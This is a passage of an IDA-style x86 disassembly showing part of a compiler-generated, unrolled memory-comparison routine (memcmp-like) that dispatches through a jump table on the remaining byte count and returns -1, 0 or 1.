loc_40E65D: ; CODE XREF: sub_40DED2+778j
; sub_40DED2+787j
test esi, esi
jnz loc_40E39E
loc_40E665: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-8] ; jumptable 0040E397 case 8
cmp edx, [ecx-8]
jz short loc_40E6EA
movzx esi, dl
movzx edx, byte ptr [ecx-8]
sub esi, edx
jz short loc_40E68D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E68D: ; CODE XREF: sub_40DED2+7A4j
movzx esi, byte ptr [eax-7]
movzx edx, byte ptr [ecx-7]
sub esi, edx
jz short loc_40E6AE
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E6AE: ; CODE XREF: sub_40DED2+7C5j
movzx esi, byte ptr [eax-6]
movzx edx, byte ptr [ecx-6]
sub esi, edx
jz short loc_40E6CF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E6CF: ; CODE XREF: sub_40DED2+7E6j
movzx esi, byte ptr [eax-5]
movzx edx, byte ptr [ecx-5]
sub esi, edx
jz short loc_40E6EC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E6EC
; ---------------------------------------------------------------------------
loc_40E6EA: ; CODE XREF: sub_40DED2+799j
xor esi, esi
loc_40E6EC: ; CODE XREF: sub_40DED2+807j
; sub_40DED2+816j
test esi, esi
jnz loc_40E39E
loc_40E6F4: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-4] ; jumptable 0040E397 case 4
cmp edx, [ecx-4]
jz short loc_40E76B
movzx esi, dl
movzx edx, byte ptr [ecx-4]
sub esi, edx
jz short loc_40E716
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
test edx, edx
jnz short loc_40E74C
loc_40E716: ; CODE XREF: sub_40DED2+833j
movzx esi, byte ptr [eax-3]
movzx edx, byte ptr [ecx-3]
sub esi, edx
jz short loc_40E731
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
test edx, edx
jnz short loc_40E74C
loc_40E731: ; CODE XREF: sub_40DED2+84Ej
movzx esi, byte ptr [eax-2]
movzx edx, byte ptr [ecx-2]
sub esi, edx
jz short loc_40E750
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
test edx, edx
jz short loc_40E750
loc_40E74C: ; CODE XREF: sub_40DED2+842j
; sub_40DED2+85Dj
mov eax, edx
jmp short loc_40E76D
; ---------------------------------------------------------------------------
loc_40E750: ; CODE XREF: sub_40DED2+869j
; sub_40DED2+878j
movzx eax, byte ptr [eax-1]
movzx ecx, byte ptr [ecx-1]
sub eax, ecx
jz short loc_40E76D
xor ecx, ecx
test eax, eax
setnle cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
jmp short loc_40E76D
; ---------------------------------------------------------------------------
loc_40E76B: ; CODE XREF: sub_40DED2+828j
xor eax, eax
loc_40E76D: ; CODE XREF: sub_40DED2+87Cj
; sub_40DED2+888j ...
test eax, eax
jnz short loc_40E773
loc_40E771: ; CODE XREF: sub_40DED2+4BFj
; sub_40DED2+4C5j ...
xor eax, eax ; default
; jumptable 0040E397 case 0
loc_40E773: ; CODE XREF: sub_40DED2+4CEj
; sub_40DED2+89Dj ...
pop ebx
jmp loc_40F4CC
; ---------------------------------------------------------------------------
loc_40E779: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-1Dh] ; jumptable 0040E397 case 29
cmp edx, [ecx-1Dh]
jz short loc_40E7FE
movzx esi, dl
movzx edx, byte ptr [ecx-1Dh]
sub esi, edx
jz short loc_40E7A1
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E7A1: ; CODE XREF: sub_40DED2+8B8j
movzx esi, byte ptr [eax-1Ch]
movzx edx, byte ptr [ecx-1Ch]
sub esi, edx
jz short loc_40E7C2
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E7C2: ; CODE XREF: sub_40DED2+8D9j
movzx esi, byte ptr [eax-1Bh]
movzx edx, byte ptr [ecx-1Bh]
sub esi, edx
jz short loc_40E7E3
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E7E3: ; CODE XREF: sub_40DED2+8FAj
movzx esi, byte ptr [eax-1Ah]
movzx edx, byte ptr [ecx-1Ah]
sub esi, edx
jz short loc_40E800
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E800
; ---------------------------------------------------------------------------
loc_40E7FE: ; CODE XREF: sub_40DED2+8ADj
xor esi, esi
loc_40E800: ; CODE XREF: sub_40DED2+91Bj
; sub_40DED2+92Aj
test esi, esi
jnz loc_40E39E
loc_40E808: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-19h] ; jumptable 0040E397 case 25
cmp edx, [ecx-19h]
jz short loc_40E88D
movzx esi, dl
movzx edx, byte ptr [ecx-19h]
sub esi, edx
jz short loc_40E830
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E830: ; CODE XREF: sub_40DED2+947j
movzx esi, byte ptr [eax-18h]
movzx edx, byte ptr [ecx-18h]
sub esi, edx
jz short loc_40E851
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E851: ; CODE XREF: sub_40DED2+968j
movzx esi, byte ptr [eax-17h]
movzx edx, byte ptr [ecx-17h]
sub esi, edx
jz short loc_40E872
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E872: ; CODE XREF: sub_40DED2+989j
movzx esi, byte ptr [eax-16h]
movzx edx, byte ptr [ecx-16h]
sub esi, edx
jz short loc_40E88F
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E88F
; ---------------------------------------------------------------------------
loc_40E88D: ; CODE XREF: sub_40DED2+93Cj
xor esi, esi
loc_40E88F: ; CODE XREF: sub_40DED2+9AAj
; sub_40DED2+9B9j
test esi, esi
jnz loc_40E39E
loc_40E897: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-15h] ; jumptable 0040E397 case 21
cmp edx, [ecx-15h]
jz short loc_40E91C
movzx esi, dl
movzx edx, byte ptr [ecx-15h]
sub esi, edx
jz short loc_40E8BF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E8BF: ; CODE XREF: sub_40DED2+9D6j
movzx esi, byte ptr [eax-14h]
movzx edx, byte ptr [ecx-14h]
sub esi, edx
jz short loc_40E8E0
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E8E0: ; CODE XREF: sub_40DED2+9F7j
movzx esi, byte ptr [eax-13h]
movzx edx, byte ptr [ecx-13h]
sub esi, edx
jz short loc_40E901
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E901: ; CODE XREF: sub_40DED2+A18j
movzx esi, byte ptr [eax-12h]
movzx edx, byte ptr [ecx-12h]
sub esi, edx
jz short loc_40E91E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E91E
; ---------------------------------------------------------------------------
loc_40E91C: ; CODE XREF: sub_40DED2+9CBj
xor esi, esi
loc_40E91E: ; CODE XREF: sub_40DED2+A39j
; sub_40DED2+A48j
test esi, esi
jnz loc_40E39E
loc_40E926: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-11h] ; jumptable 0040E397 case 17
cmp edx, [ecx-11h]
jz short loc_40E9AB
movzx esi, dl
movzx edx, byte ptr [ecx-11h]
sub esi, edx
jz short loc_40E94E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E94E: ; CODE XREF: sub_40DED2+A65j
movzx esi, byte ptr [eax-10h]
movzx edx, byte ptr [ecx-10h]
sub esi, edx
jz short loc_40E96F
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E96F: ; CODE XREF: sub_40DED2+A86j
movzx esi, byte ptr [eax-0Fh]
movzx edx, byte ptr [ecx-0Fh]
sub esi, edx
jz short loc_40E990
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E990: ; CODE XREF: sub_40DED2+AA7j
movzx esi, byte ptr [eax-0Eh]
movzx edx, byte ptr [ecx-0Eh]
sub esi, edx
jz short loc_40E9AD
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E9AD
; ---------------------------------------------------------------------------
loc_40E9AB: ; CODE XREF: sub_40DED2+A5Aj
xor esi, esi
loc_40E9AD: ; CODE XREF: sub_40DED2+AC8j
; sub_40DED2+AD7j
test esi, esi
jnz loc_40E39E
loc_40E9B5: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-0Dh] ; jumptable 0040E397 case 13
cmp edx, [ecx-0Dh]
jz short loc_40EA3A
movzx esi, dl
movzx edx, byte ptr [ecx-0Dh]
sub esi, edx
jz short loc_40E9DD
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E9DD: ; CODE XREF: sub_40DED2+AF4j
movzx esi, byte ptr [eax-0Ch]
movzx edx, byte ptr [ecx-0Ch]
sub esi, edx
jz short loc_40E9FE
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E9FE: ; CODE XREF: sub_40DED2+B15j
movzx esi, byte ptr [eax-0Bh]
movzx edx, byte ptr [ecx-0Bh]
sub esi, edx
jz short loc_40EA1F
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EA1F: ; CODE XREF: sub_40DED2+B36j
movzx esi, byte ptr [eax-0Ah]
movzx edx, byte ptr [ecx-0Ah]
sub esi, edx
jz short loc_40EA3C
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EA3C
; ---------------------------------------------------------------------------
loc_40EA3A: ; CODE XREF: sub_40DED2+AE9j
xor esi, esi
loc_40EA3C: ; CODE XREF: sub_40DED2+B57j
; sub_40DED2+B66j
test esi, esi
jnz loc_40E39E
loc_40EA44: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-9] ; jumptable 0040E397 case 9
cmp edx, [ecx-9]
jz short loc_40EACA
movzx edx, byte ptr [ecx-9]
movzx esi, byte ptr [eax-9]
sub esi, edx
jz short loc_40EA6D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EA6D: ; CODE XREF: sub_40DED2+B84j
movzx esi, byte ptr [eax-8]
movzx edx, byte ptr [ecx-8]
sub esi, edx
jz short loc_40EA8E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EA8E: ; CODE XREF: sub_40DED2+BA5j
movzx esi, byte ptr [eax-7]
movzx edx, byte ptr [ecx-7]
sub esi, edx
jz short loc_40EAAF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EAAF: ; CODE XREF: sub_40DED2+BC6j
movzx esi, byte ptr [eax-6]
movzx edx, byte ptr [ecx-6]
sub esi, edx
jz short loc_40EACC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EACC
; ---------------------------------------------------------------------------
loc_40EACA: ; CODE XREF: sub_40DED2+B78j
xor esi, esi
loc_40EACC: ; CODE XREF: sub_40DED2+BE7j
; sub_40DED2+BF6j
test esi, esi
jnz loc_40E39E
loc_40EAD4: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-5] ; jumptable 0040E397 case 5
cmp edx, [ecx-5]
jz short loc_40EB59
movzx esi, dl
movzx edx, byte ptr [ecx-5]
sub esi, edx
jz short loc_40EAFC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EAFC: ; CODE XREF: sub_40DED2+C13j
movzx esi, byte ptr [eax-4]
movzx edx, byte ptr [ecx-4]
sub esi, edx
jz short loc_40EB1D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EB1D: ; CODE XREF: sub_40DED2+C34j
movzx esi, byte ptr [eax-3]
movzx edx, byte ptr [ecx-3]
sub esi, edx
jz short loc_40EB3E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EB3E: ; CODE XREF: sub_40DED2+C55j
movzx esi, byte ptr [eax-2]
movzx edx, byte ptr [ecx-2]
sub esi, edx
jz short loc_40EB5B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB59: ; CODE XREF: sub_40DED2+C08j
xor esi, esi
loc_40EB5B: ; CODE XREF: sub_40DED2+C76j
; sub_40DED2+C85j
test esi, esi
jnz loc_40E39E
loc_40EB63: ; CODE XREF: sub_40DED2+4C5j
; sub_40DED2+10B5j ...
movzx ecx, byte ptr [ecx-1] ; jumptable 0040E397 case 1
movzx eax, byte ptr [eax-1]
sub eax, ecx
jz loc_40E773
xor ecx, ecx
test eax, eax
setnle cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
jmp loc_40E773
; ---------------------------------------------------------------------------
loc_40EB85: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-1Eh] ; jumptable 0040E397 case 30
cmp edx, [ecx-1Eh]
jz short loc_40EC0A
movzx esi, dl
movzx edx, byte ptr [ecx-1Eh]
sub esi, edx
jz short loc_40EBAD
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EBAD: ; CODE XREF: sub_40DED2+CC4j
movzx esi, byte ptr [eax-1Dh]
movzx edx, byte ptr [ecx-1Dh]
sub esi, edx
jz short loc_40EBCE
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EBCE: ; CODE XREF: sub_40DED2+CE5j
movzx esi, byte ptr [eax-1Ch]
movzx edx, byte ptr [ecx-1Ch]
sub esi, edx
jz short loc_40EBEF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EBEF: ; CODE XREF: sub_40DED2+D06j
movzx esi, byte ptr [eax-1Bh]
movzx edx, byte ptr [ecx-1Bh]
sub esi, edx
jz short loc_40EC0C
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EC0C
; ---------------------------------------------------------------------------
loc_40EC0A: ; CODE XREF: sub_40DED2+CB9j
xor esi, esi
loc_40EC0C: ; CODE XREF: sub_40DED2+D27j
; sub_40DED2+D36j
test esi, esi
jnz loc_40E39E
loc_40EC14: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-1Ah] ; jumptable 0040E397 case 26
cmp edx, [ecx-1Ah]
jz short loc_40EC99
movzx esi, dl
movzx edx, byte ptr [ecx-1Ah]
sub esi, edx
jz short loc_40EC3C
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EC3C: ; CODE XREF: sub_40DED2+D53j
movzx esi, byte ptr [eax-19h]
movzx edx, byte ptr [ecx-19h]
sub esi, edx
jz short loc_40EC5D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EC5D: ; CODE XREF: sub_40DED2+D74j
movzx esi, byte ptr [eax-18h]
movzx edx, byte ptr [ecx-18h]
sub esi, edx
jz short loc_40EC7E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EC7E: ; CODE XREF: sub_40DED2+D95j
movzx esi, byte ptr [eax-17h]
movzx edx, byte ptr [ecx-17h]
sub esi, edx
jz short loc_40EC9B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EC9B
; ---------------------------------------------------------------------------
loc_40EC99: ; CODE XREF: sub_40DED2+D48j
xor esi, esi
loc_40EC9B: ; CODE XREF: sub_40DED2+DB6j
; sub_40DED2+DC5j
test esi, esi
jnz loc_40E39E
loc_40ECA3: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-16h] ; jumptable 0040E397 case 22
cmp edx, [ecx-16h]
jz short loc_40ED28
movzx esi, dl
movzx edx, byte ptr [ecx-16h]
sub esi, edx
jz short loc_40ECCB
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40ECCB: ; CODE XREF: sub_40DED2+DE2j
movzx esi, byte ptr [eax-15h]
movzx edx, byte ptr [ecx-15h]
sub esi, edx
jz short loc_40ECEC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40ECEC: ; CODE XREF: sub_40DED2+E03j
movzx esi, byte ptr [eax-14h]
movzx edx, byte ptr [ecx-14h]
sub esi, edx
jz short loc_40ED0D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40ED0D: ; CODE XREF: sub_40DED2+E24j
movzx esi, byte ptr [eax-13h]
movzx edx, byte ptr [ecx-13h]
sub esi, edx
jz short loc_40ED2A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40ED2A
; ---------------------------------------------------------------------------
loc_40ED28: ; CODE XREF: sub_40DED2+DD7j
xor esi, esi
loc_40ED2A: ; CODE XREF: sub_40DED2+E45j
; sub_40DED2+E54j
test esi, esi
jnz loc_40E39E
loc_40ED32: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-12h] ; jumptable 0040E397 case 18
cmp edx, [ecx-12h]
jz short loc_40EDB7
movzx esi, dl
movzx edx, byte ptr [ecx-12h]
sub esi, edx
jz short loc_40ED5A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40ED5A: ; CODE XREF: sub_40DED2+E71j
movzx esi, byte ptr [eax-11h]
movzx edx, byte ptr [ecx-11h]
sub esi, edx
jz short loc_40ED7B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40ED7B: ; CODE XREF: sub_40DED2+E92j
movzx esi, byte ptr [eax-10h]
movzx edx, byte ptr [ecx-10h]
sub esi, edx
jz short loc_40ED9C
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40ED9C: ; CODE XREF: sub_40DED2+EB3j
movzx esi, byte ptr [eax-0Fh]
movzx edx, byte ptr [ecx-0Fh]
sub esi, edx
jz short loc_40EDB9
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EDB9
; ---------------------------------------------------------------------------
loc_40EDB7: ; CODE XREF: sub_40DED2+E66j
xor esi, esi
loc_40EDB9: ; CODE XREF: sub_40DED2+ED4j
; sub_40DED2+EE3j
test esi, esi
jnz loc_40E39E
loc_40EDC1: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-0Eh] ; jumptable 0040E397 case 14
cmp edx, [ecx-0Eh]
jz short loc_40EE46
movzx esi, dl
movzx edx, byte ptr [ecx-0Eh]
sub esi, edx
jz short loc_40EDE9
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EDE9: ; CODE XREF: sub_40DED2+F00j
movzx esi, byte ptr [eax-0Dh]
movzx edx, byte ptr [ecx-0Dh]
sub esi, edx
jz short loc_40EE0A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EE0A: ; CODE XREF: sub_40DED2+F21j
movzx esi, byte ptr [eax-0Ch]
movzx edx, byte ptr [ecx-0Ch]
sub esi, edx
jz short loc_40EE2B
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EE2B: ; CODE XREF: sub_40DED2+F42j
movzx esi, byte ptr [eax-0Bh]
movzx edx, byte ptr [ecx-0Bh]
sub esi, edx
jz short loc_40EE48
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EE48
; ---------------------------------------------------------------------------
loc_40EE46: ; CODE XREF: sub_40DED2+EF5j
xor esi, esi
loc_40EE48: ; CODE XREF: sub_40DED2+F63j
; sub_40DED2+F72j
test esi, esi
jnz loc_40E39E
loc_40EE50: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-0Ah] ; jumptable 0040E397 case 10
cmp edx, [ecx-0Ah]
jz short loc_40EED6
movzx edx, byte ptr [ecx-0Ah]
movzx esi, byte ptr [eax-0Ah]
sub esi, edx
jz short loc_40EE79
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EE79: ; CODE XREF: sub_40DED2+F90j
movzx edx, byte ptr [ecx-9]
movzx esi, byte ptr [eax-9]
sub esi, edx
jz short loc_40EE9A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EE9A: ; CODE XREF: sub_40DED2+FB1j
movzx edx, byte ptr [ecx-8]
movzx esi, byte ptr [eax-8]
sub esi, edx
jz short loc_40EEBB
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EEBB: ; CODE XREF: sub_40DED2+FD2j
movzx edx, byte ptr [ecx-7]
movzx esi, byte ptr [eax-7]
sub esi, edx
jz short loc_40EED8
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EED8
; ---------------------------------------------------------------------------
loc_40EED6: ; CODE XREF: sub_40DED2+F84j
xor esi, esi
loc_40EED8: ; CODE XREF: sub_40DED2+FF3j
; sub_40DED2+1002j
test esi, esi
jnz loc_40E39E
loc_40EEE0: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-6] ; jumptable 0040E397 case 6
cmp edx, [ecx-6]
jz short loc_40EF65
movzx esi, dl
movzx edx, byte ptr [ecx-6]
sub esi, edx
jz short loc_40EF08
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EF08: ; CODE XREF: sub_40DED2+101Fj
movzx esi, byte ptr [eax-5]
movzx edx, byte ptr [ecx-5]
sub esi, edx
jz short loc_40EF29
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EF29: ; CODE XREF: sub_40DED2+1040j
movzx esi, byte ptr [eax-4]
movzx edx, byte ptr [ecx-4]
sub esi, edx
jz short loc_40EF4A
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EF4A: ; CODE XREF: sub_40DED2+1061j
movzx esi, byte ptr [eax-3]
movzx edx, byte ptr [ecx-3]
sub esi, edx
jz short loc_40EF67
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40EF67
; ---------------------------------------------------------------------------
loc_40EF65: ; CODE XREF: sub_40DED2+1014j
xor esi, esi
loc_40EF67: ; CODE XREF: sub_40DED2+1082j
; sub_40DED2+1091j
test esi, esi
jnz loc_40E39E
loc_40EF6F: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov dx, [eax-2] ; jumptable 0040E397 case 2
cmp dx, [ecx-2]
jz loc_40E771 ; default
; jumptable 0040E397 case 0
loc_40EF7D: ; CODE XREF: sub_40DED2+14C8j
; sub_40DED2+14DBj
movzx edx, byte ptr [ecx-2]
movzx esi, byte ptr [eax-2]
sub esi, edx
jz loc_40EB63 ; jumptable 0040E397 case 1
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
test edx, edx
jnz loc_40F3B3
jmp loc_40EB63 ; jumptable 0040E397 case 1
; ---------------------------------------------------------------------------
loc_40EFA5: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-1Fh] ; jumptable 0040E397 case 31
cmp edx, [ecx-1Fh]
jz short loc_40F02B
movzx edx, byte ptr [ecx-1Fh]
movzx esi, byte ptr [eax-1Fh]
sub esi, edx
jz short loc_40EFCE
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EFCE: ; CODE XREF: sub_40DED2+10E5j
movzx esi, byte ptr [eax-1Eh]
movzx edx, byte ptr [ecx-1Eh]
sub esi, edx
jz short loc_40EFEF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40EFEF: ; CODE XREF: sub_40DED2+1106j
movzx esi, byte ptr [eax-1Dh]
movzx edx, byte ptr [ecx-1Dh]
sub esi, edx
jz short loc_40F010
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F010: ; CODE XREF: sub_40DED2+1127j
movzx esi, byte ptr [eax-1Ch]
movzx edx, byte ptr [ecx-1Ch]
sub esi, edx
jz short loc_40F02D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F02D
; ---------------------------------------------------------------------------
loc_40F02B: ; CODE XREF: sub_40DED2+10D9j
xor esi, esi
loc_40F02D: ; CODE XREF: sub_40DED2+1148j
; sub_40DED2+1157j
test esi, esi
jnz loc_40E39E
loc_40F035: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-1Bh] ; jumptable 0040E397 case 27
cmp edx, [ecx-1Bh]
jz short loc_40F0BA
movzx esi, dl
movzx edx, byte ptr [ecx-1Bh]
sub esi, edx
jz short loc_40F05D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F05D: ; CODE XREF: sub_40DED2+1174j
movzx esi, byte ptr [eax-1Ah]
movzx edx, byte ptr [ecx-1Ah]
sub esi, edx
jz short loc_40F07E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F07E: ; CODE XREF: sub_40DED2+1195j
movzx esi, byte ptr [eax-19h]
movzx edx, byte ptr [ecx-19h]
sub esi, edx
jz short loc_40F09F
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40F09F: ; CODE XREF: sub_40DED2+11B6j
movzx esi, byte ptr [eax-18h]
movzx edx, byte ptr [ecx-18h]
sub esi, edx
jz short loc_40F0BC
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40F0BC
; ---------------------------------------------------------------------------
loc_40F0BA: ; CODE XREF: sub_40DED2+1169j
xor esi, esi
loc_40F0BC: ; CODE XREF: sub_40DED2+11D7j
; sub_40DED2+11E6j
test esi, esi
jnz loc_40E39E
loc_40F0C4: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-17h] ; jumptable 0040E397 case 23
cmp edx, [ecx-17h]
jz short loc_40F149
